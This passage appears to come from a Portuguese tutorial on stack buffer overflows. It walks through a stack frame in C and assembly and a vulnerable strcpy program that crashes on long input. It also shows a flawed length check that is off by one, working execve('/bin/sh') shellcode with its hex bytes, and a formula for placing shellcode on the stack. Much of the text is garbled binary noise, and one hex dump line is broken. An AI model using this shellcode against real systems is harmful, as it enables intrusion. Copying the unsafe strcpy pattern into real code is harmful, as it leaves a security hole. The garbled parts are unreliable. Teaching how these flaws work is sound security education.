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#include <stdio.h>
void teste(int a, int b, int c)
{

int var;
char buffer[10];

}
int main(void)
{

teste(1,2,3);
return(0);

}
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;par�metros empilhados da direita p/ esquerda
push 3
push 2
push 1
call teste ; qdo um call � feito, o end. da
           ; pr�x. instru��o � empilhado
;dentro de teste(), � feito o pr�logo
push ebp
mov ebp, esp
sub esp, 16  ; 10 buffer + 4 inteiro = 14
            ; porem a pilha s� trabalha com
            ; multiplos da palavra (4 bytes)
;retorna para main()
mov esp, ebp  ; restaura o quadro de pilha
pop ebp
ret
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#include <stdio.h> 
#include <string.h> 

void cadastra(char *nome) 
{ 
     char usuario[64];
     strcpy(usuario, nome);
     // realiza algum tratamento com usuario[]... 
     printf("Usuario %s cadastrado!\n", usuario);
} 
int main(int argc, char *argv[])
{ 
     cadastra(argv[1]);
     return(0);
}

$ ./vuln1 teste
Usuario teste cadastrado!
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� �./vuln1 AAAAAAAAAAAA... (mais de 64 vezes)
Usuario AAAAAAAAAAAA... cadastrado!
Segmentation fault (core dumped)
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� �3 � ��� � � �
 �&
 ��� �1&� ��� �� �� 
 � �
 �� 
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#include <stdio.h> 
#include <string.h> 
void cadastra(char *nome) 
{ 
     char usuario[64];
     strcpy(usuario, nome);
     // realiza algum tratamento com usuario[]... 
     printf("Usuario %s cadastrado!\n", usuario);
} 
int main(int argc, char *argv[])
{ 
     if(strlen(argv[1]) > 64) {

printf(ªNome muito grande!\nº); 
exit(1);

     }
     cadastra(argv[1]);
     return(0);
}
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 ��
��� �� ���� � �� � � �� ��� �� �
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� ,( !" (�� �� � �� � %��� �� ��- . �� � �/+ �� � �� �%� �)� � ��� ��� �� �� �� �� �0�%%� � �!� �." �) � ������������������������������� #<

� �$./vuln1 AAAAAAAAAAAA...(mais de 64 vezes)
Nome muito grande.
 $./vuln1 teste
Usuario teste cadastrado!
 $./vuln1 AAAAAA...(exatamente 64 vezes)
Usuario AAAAA... cadastrado!
Segmentation fault (core dumped)

� �$ �%
��
 �� � ����%� ��
 �� �� ��� 6

The  strlen()  function  calculates
the  length  of  the string s, not
including the terminating Á\0© character.
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� ,( !" (�� �� � �� � %��� �� ��- . �� � �/+ � �� �� �%� �)� � ��� ��� �� �� �� �� �0� %%� � �!� �." �)� ������������������������������� #.

� �� �	 ��� ��	 6�� �
 �� "� �%
� ��� � 10
 ��� �0
� �
%��� � �� �� ��� � �  �� �	 ��� ��� � � �
 �� �� � �� �� (

� �$ �
 �� 
� � �� 
 '�
 � ��� �#� ��� �� � � 6�� �� � � &���
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 � �� � ��  �� �� 	 � � �' *�� �� � �� � �� �
 � ��� � ��	 � *
� �� �� � � &� � ��  �� *�� � �� � �� �
 �� �� 	 � � �' �� ����
 ��

 � ��� � ��	 � (

� �5 � �� 
� �%����� � � �
 � �� *�� � � � 
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� �� �� ���� � �� � � �� ��� �� �
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� ,( !" (�� �� � �� � %��� �� ��- . �� � �/+ � �� �� �%� �)� � ��� ��� �� �� �� �� �0� %%� � �!� �." �)� ������������������������������� 24

� �� "� �%
��  �� �  �0
� �� � � � 
 �� �9� �� 9� �
BITS 32 ; utilizaremos modo 32 bits
xor eax, eax ; zera eax
xor ecx, ecx ; zera ecx
push eax ; termina a string que enviaremos
push 0x68732f2f ; colocamos "//sh" na pilha
push 0x6e69622f ; colocamos "/bin" na pilha
mov ebx, esp ; esp aponta pra "/bin/sh" (nome do pr ograma)
push ecx ; colocamos NULL para ser argv[1] e termin ar o argv[]
push ebx ; colocamos argv[0] (nome do programa) na pilha
mov ecx, esp ; ecx aponta pra argv[]
cdq ; extende o valor de eax em edx (ou seja, edx =  0)
mov al, 11 ; chamada de sistema a ser usada, sys_ex ecve
int 0x80 ; chama o kernel

$ nasm -f shellcode1.asm
$ hexedit shellcode1
00000000   31 C0 31 C9  50 68 2F 2F  73 68 68 2F  6 2 69 6E 89  
1.1.Ph//shh/bin.
00000010   E3 51 53 89  E1 99 B0 0B  CD 80     .QS. ......
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 �	 
 � �� �
��
�� �� � � ��� ��� ��� � �
� �%
 �� �� � � ��� �� � � 6�
 ����� � � �
 ��� �� ��� �� � ���
- . / �

 ��� &����
 �
 �� �	 ��� ��	 �� �� � &� � ��� �
&� � �1&� �� ��� ��  � ��� �� (

� �8 ����� ���
 �� ��� �� � ��� �5 F , *�
 ��
 ��� � �� �� � �
�� &�� �
 ��� � � �
 �� � 
%��  � �� ��
 � ��
 �� �� � 6

� �� � �&�� ��%�� � 6�
 �� �	 ��� ��	 �� ��� &���
 ��  �
  
�� �� 	 � ��� ��� �� ��� ��
 �� � 
%��  � *���� ��  
 � �O�� ��
&���� �P�
 ����� � � � 
 ��
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� �3
 ��� &�� � �
 �� �� ��� 
�� �� �� � &� � ��� �&� � �1&� �� ���
�  � ��� �� ��� � � �
 �� � 
%��  � �&'� � � *�� ���  
 � �

� �
 ����� � � � 
 �� � � �
 (�

� ���� 
 �� ��
 �� '&� ���� &��
 ��
 ��� J

 �� �� �� � �%����

  �� ��1 ��
 �! : G��  � �  " � �� 	�F� ���� � � � 
 �� � � �
�
 ��
�� �� � � �� � �� 
 ���
 ��� �� �%
 �� �� � ��� �� � 6

end = 0xBFFFFFFF [endere�o base da pilha]
      - 4 [DWORD NULL]
      - strlen(nome_do_programa)
      - 1 [caractere NULL n�o contado acima]
      - strlen(sc) [tamanho do sc. enviado]
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